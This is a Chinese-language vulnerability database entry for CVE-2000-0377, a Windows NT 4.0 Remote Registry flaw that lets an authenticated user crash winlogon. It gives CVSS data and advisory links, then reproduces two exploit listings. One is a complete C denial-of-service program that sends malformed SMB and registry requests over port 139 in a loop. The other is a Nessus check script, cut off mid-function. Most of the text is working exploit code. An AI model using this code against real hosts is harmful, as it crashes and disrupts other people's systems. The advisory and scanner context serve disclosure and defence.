CVE-2000-0377
CVSS5.0
发布时间 :2000-06-08 00:00:00
修订时间 :2008-09-10 15:04:14
NMCOE    

[原文]The Remote Registry server in Windows NT 4.0 allows local authenticated users to cause a denial of service via a malformed request, which causes the winlogon process to fail, aka the "Remote Registry Access Authentication" vulnerability.


[CNNVD]Microsoft Windows NT 4.0远程注册表请求DoS漏洞(CNNVD-200006-038)

        Microsoft Windows NT 4.0远程注册表存在漏洞。本地验证用户借助畸形请求可以导致拒绝服务,这导致winlogon进程失败。又称为"Remote Registry Access Authentication" 漏洞。

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: NONE [对系统的机密性无影响]
完整性影响: NONE [不会对系统完整性产生影响]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

oval:org.mitre.oval:def:1021NT4.0 Remote Registry Access Authentication Vulnerability
*OVAL详细的描述了检测该漏洞的方法,你可以从相关的OVAL定义中找到更多检测该漏洞的技术细节。

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0377
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2000-0377
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200006-038
(官方数据源) CNNVD

- 其它链接及资源

http://www.microsoft.com/technet/security/bulletin/ms00-040.asp
(UNKNOWN)  MS  MS00-040
http://www.securityfocus.com/bid/1331
(UNKNOWN)  BID  1331
http://www.microsoft.com/technet/support/kb.asp?ID=264684
(UNKNOWN)  MSKB  Q264684

- 漏洞信息

Microsoft Windows NT 4.0远程注册表请求DoS漏洞
中危 其他
2000-06-08 00:00:00 2005-10-12 00:00:00
远程※本地  
        Microsoft Windows NT 4.0远程注册表存在漏洞。本地验证用户借助畸形请求可以导致拒绝服务,这导致winlogon进程失败。又称为"Remote Registry Access Authentication" 漏洞。

- 公告与补丁

        Microsoft has released the following patch which rectifies this issue:
        Microsoft Windows NT 4.0
        

- 漏洞信息 (20005)

Windows NT 4.0 Remote Registry Request Dos Vulnerability (1) (EDBID:20005)
windows remote
2000-06-08 Verified
0 Renaud Deraison
N/A [点击下载]
source: http://www.securityfocus.com/bid/1331/info

In special circumstances while handling requests to access the Remote Registry Server, Windows NT 4.0 can crash due to winlogon.exe's inability to process specially malformed remote registry requests. Rebooting the machine would be required in order to regain normal functionality.

Only authenticated users on the network would be able to exploit this vulnerability. If Windows NT was configured to deny all remote registry requests, it would not be affected by this vulnerability under any conditions. 

/*
 * crash_winlogon.c
 *
 * by Renaud Deraison - deraison@cvs.nessus.org
 *
 * This code is released under the GNU General Public License.
 * (thanks for respecting this license) 
 *
 * In case you are wondering, here is the motto I applied for this code :
 *
 * 		"Structures are for sissies"
 */
#include <stdio.h>
#include <stdlib.h>
#ifdef WIN32
#include <windows.h>
#define bzero(x,y) memset(x, 0, y)
#else
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <ctype.h>
#define closesocket(x) close(x)
#endif


char * netbios_name(char * orig)
{
 int i, len;
 char * ret = malloc(40);

 bzero(ret, 40);
 len = strlen(orig);
 for(i=0;i<16;i++)
 {
  if(i >= len)
   strcat(ret, "CA");
  else
   {
    int odiv, omod;
    
    odiv = (orig[i] / 16) + 'A';
    omod = (orig[i] % 16) + 'A';
    ret[strlen(ret)]=odiv;
    ret[strlen(ret)]=omod;
   }
 }
 return(ret);
}

char * netbios_redirector()
{
 int i;
 char * ret = malloc(31);
 bzero(ret, 31);
 for(i=0;i<15;i++)strcat(ret, "CA"); 
 strcat(ret, "AA");
 return(ret);
}


char* unicode(char * data)
{
 int len = strlen(data);
 int i;
 char * ret = malloc(110);
 int l = 0;
 
 bzero(ret,110);
 for(i=0;i<len;i++)
 {
  ret[i*2] = data[i];
 }
 
 if(len & 1){
 	ret[len*2+7] = 0x19;
	ret[len*2+9] = 0x02;
	}
 else
   	{
	 ret[len*2+8] = 0x19;
	 ret[len*2+10] = 0x02;
	}	 
		
 return(ret);
}	


char * 
smb_session_request(soc, remote)
 int soc;
 char* remote;
{
 char * nb_remote = netbios_name(remote);
 char * nb_local  = netbios_redirector();
 char * request = malloc(400);
 u_char req_head[] = {0x81, 0x00, 0x00, 0x48, 0x20};
 u_char req_body[] = {0x00, 0x20};
 u_char * answer = malloc(400);
 int n;

 bzero(request, 400);
 memcpy(request, req_head, 5);
 memcpy(request+5, nb_remote, strlen(nb_remote));
 memcpy(request+5+strlen(nb_remote), req_body, 2);
 memcpy(request+5+strlen(nb_remote)+2, nb_local, strlen(nb_local));
 
 send(soc, request, 5+strlen(nb_remote)+strlen(nb_local)+2+1, 0);
 bzero(answer, 400);
 n = recv(soc, answer, 400, 0);
 if(answer[0]==0x82)return(answer);
 else return(NULL);
}

char *
smb_neg_prot(soc)
 int soc;
{
 char * r;
 u_char neg_prot[] = {0x00,0x00,
	 0x00, 0x89, 0xFF, 0x53, 0x4D, 0x42, 0x72, 0x00,
	 0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 0x00, 0x00,
	 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00,
	 0x00, 0x00, 0x00, 0x66, 0x00, 0x02, 0x50, 0x43,
	 0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F, 0x52, 0x4B,
	 0x20, 0x50, 0x52, 0x4F, 0x47, 0x52, 0x41, 0x4D,
	 0x20, 0x31, 0x2E, 0x30, 0x00, 0x02, 0x4D, 0x49,
	 0x43, 0x52, 0x4F, 0x53, 0x4F, 0x46, 0x54, 0x20,
	 0x4E, 0x45, 0x54, 0x57, 0x4F, 0x52, 0x4B, 0x53,
	 0x20, 0x31, 0x2E, 0x30, 0x33, 0x00, 0x02, 0x4D,
	 0x49, 0x43, 0x52, 0x4F, 0x53, 0x4F, 0x46, 0x54,
	 0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F, 0x52, 0x4B,
	 0x53, 0x20, 0x33, 0x2e, 0x30, 0x00, 0x02, 0x4c,
	 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, 0x2e, 0x30,
	 0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e, 0x32, 0x58,
	 0x30, 0x30, 0x32, 0x00, 0x02, 0x53, 0x61, 0x6d,
	 0x62, 0x61, 0x00
	 };
	 
 send(soc, neg_prot, sizeof(neg_prot), 0);
 r = malloc(4000);
 bzero(r, 4000);
 recv(soc, r, 4000, 0);
 if(!r[9])return(r);
 else return(NULL);
}

char * smb_session_setup(soc, login, password)
 int soc;
 char * login, * password;
{
 int len = strlen(login) + strlen(password) + 57;
 int bcc = 2 + strlen(login) + strlen(password);
 int len_hi = len / 256, len_low = len % 256;
 int bcc_hi = bcc / 256, bcc_lo = bcc % 256;
 int pass_len = strlen(password) + 1;
 int pass_len_hi = pass_len / 256, pass_len_lo = pass_len % 256;
 
 u_char req[] = {0x00,0x00,
    	  len_hi, len_low, 0xFF, 0x53, 0x4D, 0x42, 0x73, 0x00,
	  0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 0x00, 0x00,
	  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	  0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00,
	  0x00, 0x00, 0x0A, 0xFF, 0x00, 0x00, 0x00, 0x04,
	  0x11, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	  0x00, pass_len_lo,  pass_len_hi, 0x00, 0x00, 0x00, 0x00, bcc_lo,
	  bcc_hi};
	  
  char * r;
  char * s;
  
  s = malloc(5000);
  bzero(s, 5000);
  
  memcpy(s, req, sizeof(req));
  memcpy(s+sizeof(req), password, strlen(password)+1);
  memcpy(s+sizeof(req)+strlen(password)+1, login, strlen(login)+1);
  
 
  send(soc, s, sizeof(req)+strlen(password)+1+strlen(login)+1, 0);
  free(s);
  r = malloc(4000);
  bzero(r, 4000);
  recv(soc, r, 4000, 0);
  if(!r[9])return(r);
  else return(NULL);
}

char * smb_tconx(soc, name, uid)
 int soc;
 char * name;
 int uid;
{
 int high = uid / 256;
 int low = uid % 256;
 int len = 55 + strlen(name) + 1;
 int ulen = 13 + strlen(name);
 u_char req [] = {0x00, 0x00,
 		  0x00, len, 0xFF, 0x53, 0x4D, 0x42, 0x75, 0x00,
		  0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 0x00, 0x00,
		  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		  0x00, 0x00, 0x00, 0x00, 0x00, 0x28, low, high,
		  0x00, 0x00, 0x04, 0xFF, 0x00, 0x00, 0x00, 0x00,
		  0x00, 0x01, 0x00, ulen, 0x00, 0x00, 0x5C, 0x5C};
		  
 u_char req2[] = {0x5C, 0x49,
		   0x50, 0x43, 0x24, 0x00, 0x49, 0x50, 0x43, 0x00};


 char * s = malloc(4000);
 
 bzero(s, 4000);
 memcpy(s, req, sizeof(req));
 memcpy(s+sizeof(req), name, strlen(name));
 memcpy(s+sizeof(req)+strlen(name), req2, sizeof(req2));
 send(soc, s, sizeof(req)+sizeof(req2)+strlen(name), 0);
 bzero(s, 4000);
 recv(soc, s, 4000, 0);
 if(!s[9])return(s);
 else return(NULL);
}



char * smbntcreatex(soc, uid, tid)
 int soc, uid, tid;
{
 u_char tid_high = tid / 256, tid_low = tid % 256;
 u_char uid_high = uid / 256, uid_low = uid % 256;
 char* r;
 u_char req[] = {0x00, 0x00,
  		   0x00, 0x5B, 0xFF, 0x53, 0x4D, 0x42, 0xA2, 0x00,
		   0x00, 0x00, 0x00, 0x18, 0x03, 0x00, 0x50, 0x81,
		   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		   0x00, 0x00, tid_low, tid_high, 0x00, 0x28, uid_low, uid_high,
		   0x00, 0x00, 0x18, 0xFF, 0x00, 0x00, 0x00, 0x00,
		   0x07, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00,
		   0x00, 0x00, 0x9F, 0x01, 0x02, 0x00, 0x00, 0x00,
		   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		   0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00,
		   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00,
		   0x00, 0x00, 0x00, 0x08, 0x00, 0x5C, 0x77, 0x69,
		   0x6e, 0x72, 0x65, 0x67, 0x00};
		   
 send(soc, req, sizeof(req), 0);
 r = malloc(4000);
 bzero(r, 4000);
 recv(soc, r, 4000, 0);
 if(!r[9])return(r);
 else return(NULL);
}


char * pipe_accessible_registry(soc, uid, tid, pid)
 int soc, uid, tid, pid;
{
 u_char tid_low = tid % 256, tid_high = tid / 256;
 u_char uid_low = uid % 256, uid_high = uid / 256;
 u_char pipe_low = pid % 256, pipe_high = pid / 256;
 u_char req[] = {
 	0x00, 0x00,
 		  0x00, 0x94, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00,
		  0x00, 0x00, 0x00, 0x18, 0x03, 0x00, 0x1B, 0x81,
		  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		  0x00, 0x00, tid_low, tid_high, 0x00, 0x28, uid_low, uid_high,
		  0x00, 0x00, 0x10, 0x00, 0x00, 0x48, 0x00, 0x00,
		  0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
		  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4C,
		  0x00, 0x48, 0x00, 0x4C, 0x00, 0x02, 0x00, 0x26,
		  0x00, pipe_low, pipe_high, 0x51, 0x00, 0x5C, 0x50, 0x49,
		  0x50, 0x45, 0x5C, 0x00, 0x00, 0x00, 0x05, 0x00,
		  0x0B, 0x00, 0x10, 0x00, 0x00, 0x00, 0x48, 0x00,
		  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x16,
		  0x30, 0x16, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00,
		  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0xd0,
		  0x8c, 0x33, 0x44, 0x22, 0xF1, 0x31, 0xAA, 0xAA,
		  0x90, 0x00, 0x38, 0x00, 0x10, 0x03, 0x01, 0x00,
		  0x00, 0x00, 0x04, 0x5D, 0x88, 0x8A, 0xEB, 0x1C,
		  0xc9, 0x11, 0x9F, 0xE8, 0x08, 0x00, 0x2B, 0x10,
		  0x48, 0x60, 0x02, 0x00, 0x00, 0x00};
  u_char * r;
  
  send(soc, req, sizeof(req), 0);
  r = malloc(4000);
  bzero(r, 4000);
  recv(soc, r, 4000, 0);
  if(!r[9])return(r);
  else return(NULL);
}		  

char * registry_access_step1(soc, uid, tid, pid)
 int soc, uid, tid, pid;
{
 u_char tid_low = tid % 256, tid_high = tid / 256;
 u_char uid_low = uid % 256, uid_high = uid / 256;
 u_char pipe_low = pid % 256, pipe_high = pid / 256;
 
 u_char * r;
 u_char req[] = {0x00, 0x00,
 		  0x00, 0x78, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00,
		  0x00, 0x00, 0x00, 0x18, 0x03, 0x80, 0x1D, 0x83,
		  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		  0x00, 0x00, tid_low, tid_high, 0x00, 0x28, uid_low, uid_high,
		  0x00, 0x00, 0x10, 0x00, 0x00, 0x24, 0x00, 0x00,
		  0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
		  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54,
		  0x00, 0x24, 0x00, 0x54, 0x00, 0x02, 0x00, 0x26,
		  0x00, pipe_low, pipe_high, 0x35, 0x00, 0x00, 0x5c, 0x00,
		  0x50, 0x00, 0x49, 0x00, 0x50, 0x00, 0x45, 0x00,
		  0x5C, 0x00, 0x00, 0x00, 0x00, 0x5c, 0x05, 0x00,
		  0x00, 0x03, 0x10, 0x00, 0x00, 0x00, 0x24, 0x00,
		  0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x0C, 0x00,
		  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x10, 0xFF,
		  0x12, 0x00, 0x30, 0x39, 0x01, 0x00, 0x00, 0x00,
		  0x00, 0x02};
		  
		  
 send(soc, req, sizeof(req), 0);
 r = malloc(4000);
 bzero(r, 4000);
 recv(soc, r, 4000, 0);
 if(!r[9])return(r);
 else return(NULL);
} 		
		  

void crash_winlogon(soc, uid, tid, pid, key, reply)
 int soc, uid, tid, pid;
 char * key, * reply;
{
 int key_len = strlen(key) + 1;
 int key_len_hi = key_len / 256;
 int key_len_lo = key_len % 256;
 
 int tid_low = tid % 256;
 int tid_high = tid / 256;
 
 int uid_low = uid % 256;
 int uid_high = uid / 256;
 
 int pipe_low = pid % 256;
 int pipe_high = pid / 256;
 
 char * uc = unicode(key);
 int len_uc = 100;
 
 
 int len = 148 + len_uc;
 int len_hi = len / 256;
 int len_lo = len % 256;
 
 int z = 40 +len_uc;
 int z_lo = z % 256;
 int z_hi = z / 256;
 
 int y = 81 + len_uc;
 int y_lo = y % 256;
 int y_hi = y / 256;
 
 int x = 64 + len_uc;
 int x_lo = x % 256;
 int x_hi = x / 256;
 
 int n;
 u_char req[] = {
 		  0x00, 0x00,
 		  len_hi, len_lo, 0xFF, 0x53, 0x4D, 0x42, 0x25, 0x00,
		  0x00, 0x00, 0x00, 0x18, 0x03, 0x80, reply[16], reply[17],
		  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		  0x00, 0x00,tid_low, tid_high, 0x00, 0x28, uid_low, uid_high,
		  0x00, 0x00, 0x10, 0x00, 0x00, x_lo, x_hi, 0x00,
		  0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00,
		  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54,
		  0x00, x_lo, x_hi, 0x54, 0x00, 0x02, 0x00, 0x26,
		  0x00, pipe_low, pipe_high, y_lo, y_hi, 0x00, 0x5C, 0x00,
		  0x50, 0x00, 0x49, 0x00, 0x50, 0x00, 0x45, 0x00,
		  0x5C, 0x00, 0x00, 0x00, 0x00, 0xb9, 0x05, 0x00,
		  0x00, 0x03, 0x10, 0x00, 0x00, 0x00, x_lo, x_hi,
		  0x00, 0x00, 0x02, 0x00, 0x00, 0x00, z_lo, z_hi,
		  0x00, 0x00, 0x00, 0x00, 0x0F, 0x00};
		  
int x2 = 65535; /* XXXXXX */
int x2_lo = 0xFF, x2_hi = 0xFF;

u_char req2[] = {x2_lo, x2_hi, 0x0A, 0x02, 0x00, 0xEC,
 		0xFD, 0x7F, 0x05, 0x01, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, key_len_lo, key_len_hi, 0x00, 0x00};
			
char * crashme = malloc(4000);
char a[] = {0xFF, 0xFF};
bzero(crashme, 4000);
memcpy(crashme, req, sizeof(req));
memcpy(crashme+sizeof(req), &(reply[84]), 20);
memcpy(crashme+sizeof(req)+20, req2, sizeof(req2));
memcpy(crashme+sizeof(req)+20+sizeof(req2), uc, len_uc);
if((n = send(soc, crashme, len+4, 0))<0)
 {
 perror("send ");
 }
}
		  

int smbntcreatex_extract_pipe(reply)
 char * reply;
{
 return(reply[43]*256+reply[42]);
}	

	   
int tconx_extract_tid(reply)
 char * reply;
{
 return(reply[29]*256+reply[28]);
}

	  
	

int session_extract_uid(reply)
 char * reply;
{
 int low, high;
 
 low = reply[32];
 high = reply[33];
 return((high*256)+low);
}

 
 
#define error() _error(__LINE__)

void _error(int line)
{
 printf("Error at line %d\n", line);
 exit(1);
}

int main(argc, argv)
  int argc;
  char * argv[];
{
 char * r;
 int soc;
 struct sockaddr_in sin;
 int uid, tid, pid;
 char * name; 
 char * ip;
 char * login, * password;
 int i;
#ifdef WIN32
 WSADATA winSockData;
 WSAStartup(0x0101, &winSockData);
#endif


 if(argc < 3)
 {
    printf("Usage : winlogon host_ip netbios_name login [password]\n");
    exit(1);
 }
 
 name = strdup(argv[2]);
 for(i=0;i<strlen(name);i++)name[i] = toupper(name[i]);
 ip = strdup(argv[1]);
 login = strdup(argv[3]);
 if(argv[4])password = strdup(argv[4]);
 else password = "";
 printf("ip : %s\n", ip);
 printf("name : %s\n", name);
 printf("login : %s\n", login);
 printf("password : %s\n", password);
 
 for(i=0;i<200;i++)
 {
 soc = socket(AF_INET, SOCK_STREAM, 0);
 if(soc < 0)error();
 bzero(&sin, sizeof(sin));
 sin.sin_port = htons(139);
 sin.sin_addr.s_addr = inet_addr(ip);
 sin.sin_family = AF_INET;
 connect(soc, (const struct sockaddr*)&sin, sizeof(sin));

 r = smb_session_request(soc, name);
 if(!r)error();free(r);
 
 r = smb_neg_prot(soc);
 if(!r)error();free(r);
 
 
 r = smb_session_setup(soc, login, password);
 if(!r)error();
 uid = session_extract_uid(r);free(r);

 r = smb_tconx(soc, name, uid);
 if(!r)error();
 tid = tconx_extract_tid(r);free(r);
 
 r = smbntcreatex(soc, uid, tid);
 if(!r)error();
 pid = smbntcreatex_extract_pipe(r);free(r);
 
 r = pipe_accessible_registry(soc, uid, tid, pid);
 if(!r)error();free(r);
 
 r =  registry_access_step1(soc, uid, tid, pid);if(!r)error();
 
 crash_winlogon(soc, uid, tid, pid, "x", r);
 shutdown(soc, 2);
 closesocket(soc);
 }
#ifdef WIN32
 WSACleanup();
#endif
 return 0;
}

		

- 漏洞信息 (20006)

Windows NT 4.0 Remote Registry Request Dos Vulnerability (2) (EDBID:20006)
windows remote
2000-06-08 Verified
0 Renaud Deraison
N/A [点击下载]
source: http://www.securityfocus.com/bid/1331/info
 
In special circumstances while handling requests to access the Remote Registry Server, Windows NT 4.0 can crash due to winlogon.exe's inability to process specially malformed remote registry requests. Rebooting the machine would be required in order to regain normal functionality.
 
Only authenticated users on the network would be able to exploit this vulnerability. If Windows NT was configured to deny all remote registry requests, it would not be affected by this vulnerability under any conditions.

#
# This script was written by Renaud Deraison <deraison@cvs.nessus.org>
#
# See the Nessus Scripts License for details
#

if(description)
{
 script_id(10414);
 script_cve_id("CAN-2000-0377");
 name["english"] = "WinLogon.exe DoS";
 name["francais"] = "Dini de service WinLogon.exe";
 
 script_name(english:name["english"],
             francais:name["francais"]);
 
 desc["english"] = "

It seems that is was possible to crash remotely 
winlogon.exe by sending a malformed request to
access the registry of the remote host. 

As soon as you validate the error box, the host 
will reboot.


Solution : apply hotfix Q264684

Risk factor : High

See also : http://www.microsoft.com/technet/security/bulletin/ms00-040.asp";


 desc["francais"] = "
 
Il semble qu'il ait iti possible de faire
planter le programme WinLogon.exe en lui
envoyant une requhte mal formie pour accider
` sa base de registres.

Dhs que vous validerez la boite de dialogue,
l'hote distant redimarrera.

Solution : appliquez le hotfix Q264684

Facteur de risque : Elevi

Voir aussi : http://www.microsoft.com/technet/security/bulletin/ms00-040.asp";


 script_description(english:desc["english"],
                    francais:desc["francais"]);
 
 summary["english"] = "crashes winlogon.exe";
 summary["francais"] = "fait planter winlogon.exe";
 script_summary(english:summary["english"],
                francais:summary["francais"]);
 
 script_category(ACT_DENIAL);
 
 script_copyright(english:"This script is Copyright (C) 2000 Renaud Deraison");
 family["english"] = "Denial of Service";
 family["francais"] = "Dini de service";
 script_family(english:family["english"], francais:family["francais"]);
 
 script_dependencies("netbios_name_get.nasl",
                     "smb_login.nasl");
 script_require_keys("SMB/name", "SMB/login", "SMB/password");
 script_require_ports(139);
 exit(0);
}


#-----------------------------------------------------------------#
# Convert a netbios name to the netbios network format            #
#-----------------------------------------------------------------#
function netbios_name(orig)
{
 ret = "";
 len = strlen(orig);
 for(i=0;i<16;i=i+1)
 {
   if(i >= len)
   {
     c = "CA";
   }
   else
   {
     o = ord(orig[i]);
     odiv = o/16;
     odiv = odiv + ord("A");
     omod = o%16;
     omod = omod + ord("A");
     c = raw_string(odiv, omod);
   }
 ret = ret+c;
 }
 return(ret); 
}

#--------------------------------------------------------------#
# Returns the netbios name of a redirector                     #
#--------------------------------------------------------------#

function netbios_redirector_name()
{
 ret = crap(data:"CA", length:30);
 ret = ret+"AA";
 return(ret); 
}

#-------------------------------------------------------------#
# return a 28 + strlen(data) + (odd(data)?0:1) long string    #
#-------------------------------------------------------------#
function unicode(data)
{
 len = strlen(data);
 ret = raw_string(ord(data[0]));
 
 for(i=1;i<len;i=i+1)
 {
  ret = string(ret, raw_string(0, ord(data[i])));
 }
 
 
 if(!(len & 1)){even = 1;}
 else even = 0;
 

 for(i=0;i<7;i=i+1)
  ret = ret + raw_string(0);
  
  
 if(even)
  {
  ret = ret + raw_string(0x00, 0x00, 0x19, 0x00, 0x02, 0x00);
  }
 else
  ret = ret + raw_string(0x19, 0x00, 0x02, 0x00);
 
  
 return(ret);
}


function unicode2(data)
{
 len = strlen(data);
 ret = raw_string(0, ord(data[0]));
 
 for(i=1;i<len;i=i+1)
 {
  ret = ret + raw_string(0, ord(data[i]));
 }
 if(len & 1)ret = ret + raw_string(0x00, 0x00); 
 else ret = ret + raw_string(0x00, 0x00, 0x00, 0x63);
 return(ret);
}

#----------------------------------------------------------#
# Request a new SMB session                                #
#----------------------------------------------------------#
function smb_session_request(soc, remote)
{
 nb_remote = netbios_name(orig:remote);
 nb_local  = netbios_redirector_name();
 
 session_request = raw_string(0x81, 0x00, 0x00, 0x48) + 
                  raw_string(0x20) + 
                  nb_remote +
                  raw_string(0x00, 0x20)    + 
                  nb_local  + 
                  raw_string(0x00);

 send(socket:soc, data:session_request);
 r = recv(socket:soc, length:4000);
 if(ord(r[0])==0x82)return(r);
 else return(FALSE);
}

#------------------------------------------------------------#
# Extract the UID from the result of smb_session_setup()     #
#------------------------------------------------------------#

function session_extract_uid(reply)
{
 low = ord(reply[32]);
 high = ord(reply[33]);
 ret = high * 256;
 ret = ret + low;
 return(ret);
}



#-----------------------------------------------------------#
# Negociate (pseudo-negociate actually) the protocol        #
# of the session                                            #
#-----------------------------------------------------------#


function smb_neg_prot(soc)
{
 neg_prot = raw_string
        (
         0x00,0x00,
         0x00, 0x89, 0xFF, 0x53, 0x4D, 0x42, 0x72, 0x00,
         0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 0x00, 0x00,
         0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
         0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00,
         0x00, 0x00, 0x00, 0x66, 0x00, 0x02, 0x50, 0x43,
         0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F, 0x52, 0x4B,
         0x20, 0x50, 0x52, 0x4F, 0x47, 0x52, 0x41, 0x4D,
         0x20, 0x31, 0x2E, 0x30, 0x00, 0x02, 0x4D, 0x49,
         0x43, 0x52, 0x4F, 0x53, 0x4F, 0x46, 0x54, 0x20,
         0x4E, 0x45, 0x54, 0x57, 0x4F, 0x52, 0x4B, 0x53,
         0x20, 0x31, 0x2E, 0x30, 0x33, 0x00, 0x02, 0x4D,
         0x49, 0x43, 0x52, 0x4F, 0x53, 0x4F, 0x46, 0x54,
         0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F, 0x52, 0x4B,
         0x53, 0x20, 0x33, 0x2e, 0x30, 0x00, 0x02, 0x4c,
         0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x31, 0x2e, 0x30,
         0x00, 0x02, 0x4c, 0x4d, 0x31, 0x2e, 0x32, 0x58,
         0x30, 0x30, 0x32, 0x00, 0x02, 0x53, 0x61, 0x6d,
         0x62, 0x61, 0x00
         );
         
 send(socket:soc, data:neg_prot);
 r = recv(socket:soc, length:4000);
 if(!r)return(FALSE);
 if(ord(r[9])==0)return(r);
 else return(FALSE);
}
 

#------------------------------------------------------#
# Set up a session                                     #
#------------------------------------------------------#
function smb_session_setup(soc, login, password)
{

  len = strlen(login) + strlen(password) + 57;
  bcc = 2 + strlen(login) + strlen(password);
  
  len_hi = len / 256;
  len_low = len % 256;
  
  bcc_hi = bcc / 256;
  bcc_lo = bcc % 256;
  
  pass_len = strlen(password) + 1 ;
  pass_len_hi = pass_len / 256;
  pass_len_lo = pass_len % 256;
  
  st = raw_string(0x00,0x00,
          len_hi, len_low, 0xFF, 0x53, 0x4D, 0x42, 0x73, 0x00,
          0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 0x00, 0x00,
          0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
          0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00,
          0x00, 0x00, 0x0A, 0xFF, 0x00, 0x00, 0x00, 0x04,
          0x11, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
          0x00, pass_len_lo,  pass_len_hi, 0x00, 0x00, 0x00, 0x00, bcc_lo,
          bcc_hi) + password + raw_string(0) + login + raw_string(0x00);
         
         
  send(socket:soc, data:st);
  r = recv(socket:soc, length:1024); 
  if(!r)return(FALSE);
  if(ord(r[9])==0)return(r);
  else return(FALSE);
}        
#------------------------------------------------------#
# connection to the remote IPC share                   #
#------------------------------------------------------#                
function smb_tconx(soc,name,uid)
{

 
 high = uid / 256;
 low = uid % 256;
  
 len = 55 + strlen(name) + 1;
 ulen = 13 + strlen(name);
 
 
 req = raw_string(0x00, 0x00,
                  0x00, len, 0xFF, 0x53, 0x4D, 0x42, 0x75, 0x00,
                  0x00, 0x00, 0x00, 0x18, 0x01, 0x20, 0x00, 0x00,
                  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                  0x00, 0x00, 0x00, 0x00, 0x00, 0x28, low, high,
                  0x00, 0x00, 0x04, 0xFF, 0x00, 0x00, 0x00, 0x00,
                  0x00, 0x01, 0x00, ulen, 0x00, 0x00, 0x5C, 0x5C) +
        name +
        raw_string(0x5C, 0x49,
                   0x50, 0x43, 0x24, 0x00, 0x49, 0x50, 0x43, 0x00);
 send(socket:soc, data:req);
 r = recv(socket:soc, length:4000);
 if(!r)return(FALSE);
 if(ord(r[9])==0)return(r);
 else return(FALSE);                     

}

#------------------------------------------------------#
# Extract the TID from the result of smb_tconx()       #
#------------------------------------------------------#
function tconx_extract_tid(reply)
{
 low = ord(reply[28]);
 high = ord(reply[29]);
 ret = high * 256;
 ret = ret + low;
 return(ret);
}


#--------------------------------------------------------#
# Request the creation of a pipe to winreg. We will      #
# then use it to do our work                             #
#--------------------------------------------------------#
function smbntcreatex(soc, uid, tid)
{
 tid_high = tid / 256;
 tid_low  = tid % 256;
 
 uid_high = uid / 256;
 uid_low  = uid % 256;
 
  req = raw_string(0x00, 0x00,
                   0x00, 0x5B, 0xFF, 0x53, 0x4D, 0x42, 0xA2, 0x00,
                   0x00, 0x00, 0x00, 0x18, 0x03, 0x00, 0x50, 0x81,
                   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                   0x00, 0x00, tid_low, tid_high, 0x00, 0x28, uid_low, uid_high,
                   0x00, 0x00, 0x18, 0xFF, 0x00, 0x00, 0x00, 0x00,
                   0x07, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00,
                   0x00, 0x00, 0x9F, 0x01, 0x02, 0x00, 0x00, 0x00,
                   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
                   0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x01, 0x00,
                   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00,
